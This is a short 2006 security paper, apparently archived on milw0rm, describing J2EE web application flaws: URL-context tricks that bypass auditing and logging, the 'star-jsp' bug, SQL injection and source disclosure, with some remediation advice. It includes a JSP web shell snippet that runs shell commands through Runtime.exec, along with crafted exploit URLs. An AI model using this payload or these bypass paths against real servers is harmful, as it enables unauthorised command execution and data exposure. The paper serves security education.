##############################################################
							     #
						             #
A few of J2EE-based web applications common vulnerabilities  #
							     #
Author: Micha³ Buæko - sapheal			   	     #
	HACKPL (www.hack.pl)				     #
							     #
							     #
##############################################################


In this paper I would like to talk about a few (out of a big amount)
of the vulns I had bumped into some time ago. I concerns the 
auditing and logging systems as well as the whole web applications 
based on J2EE technology. 

What is auditing & logging system?
Auditing and logging system does care of many security-related
problems (not only) in J2EE applications. From one side, it
does log the users' (logged into the application) activity. 
Moreover, if the activity seems to be abnormal, it might block 
the user.The simplest possible example is detecting the user
trying to exploit the web application using SQL injection. 
Logging and auditing systems often take care of so-called 
subfunctionalities. It means that two different parts of the 
application cannot be accessed by two different users.(or one
user cannot access multiple web application's functionalities 
at one time, and so on). However, in many cases the implementation
of auditing and logging is vulnerable so that it cannot do its
job correctly. 

In this short paper I would like to describe two such 
vulnerabilities that allow the attacker to bypass the auditing and
logging systems in many J2EE-based web applications.

Typical J2EE application does have a context:
http://myserver:someport/context/something.do

Auditing and logging system parses the URL to determine what the
operation is being done. However, an attacker might try to access
the website

http://myserver:someport/context/evil/something.do



In many cases this will lead allow the remote attacker to bypass 
the auditing and logging as the parsing in a part of web 
application is not done correctly. Moreover, in might also an 
attacker to access the parts of  the webapplication that are 
disallowed. 

In is common in J2EE-based web application (and not only!) that 
the two different administrator users should not access the specific
data at the same time. This can also by often bypassed by using
the context bug. 

The context should be checked and the URL should be parsed (suggested
parsing: the last "/"(%2f) should be looked for - however, this is not a 
perfect idea and can be bypassed two by the usage of different encoding)
properly in order not to allow simultaneous access to the same volatile
web application data/process.


This vulnerability is often very helpful if an attacker wants to exploit 
the known "star-jsp" bug. "Star-jsp" bug is another bug in J2EE web 
applications. Not only does it affect the logging and auditing system of
the web application but the whole application. An attacker might try 
to input java code into the field of the web application in order to 
get it compiled by the application server and then, execute it using 
famous "star-jsp" bug. This is our simple exploit (one of possible 
thousands):

<%@ page import="java.io.*" %>
<%
String str=null, 
       out_str="";

try {
   Process p=Runtime.getRuntime().exec("/bin/sh .c ls .la");
   BufferedReader buf = new BufferedReader(new
   InputStreamReader(p.getInputStream()));


   while((str = buf.readLine())!=null) {
      out_str= out_str + str;
   }
}
catch(IOException e) {
   e.printStackTrace();
}
%>
<pre><%=out_str %></pre>


This exploit is given as an input in one of the field 

http://somewebsite/page/page.jsp


Then the JSP hander compiles the page.html file and we 

http://somewebsite/*.jsp/../page/page.html

We can try to execute different commands remotely. 


An attacker might also try to brute force the operations and then
try to to execute the operation that is normally to be executed 
after authorization process is successfully ended. It might lead
to unexpected errors, sensitive information might be revealed.

An attacker might as well try to attack using SQL injection, 
PreparedStatement should be used instead of normal statements.
Input should be properly sanitized, however, this might be a bit
of a problem.

As far as web servers are concerned, many of those are vulnerable,
some of those suffer from handling the URL encoding (e.g. displaying
the source of the files). An attacker might want to access the source
of the files in order to obtain sensitive information about the web
application. The example code below:


String url="jdbc:odbc:Autos";
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
Connection conn = DriverManager.getConnection(url, "admin", "mypass");


The example below shows how to exploit this:

http://somesite/servlet/file/somefile.jhtml

Some time ago it was very popular - "somefile.jhtml" source could be 
revealed. Also using encoded URL and/or taking into consideration
the case sensitivity "JhTmL" might help a lot.


I hope this short article helped those interested in Java-based
web applications' security.


Best regards,
Micha³ Buæko - sapheal
HACKPL
www.hack.pl

# milw0rm.com [2006-11-02]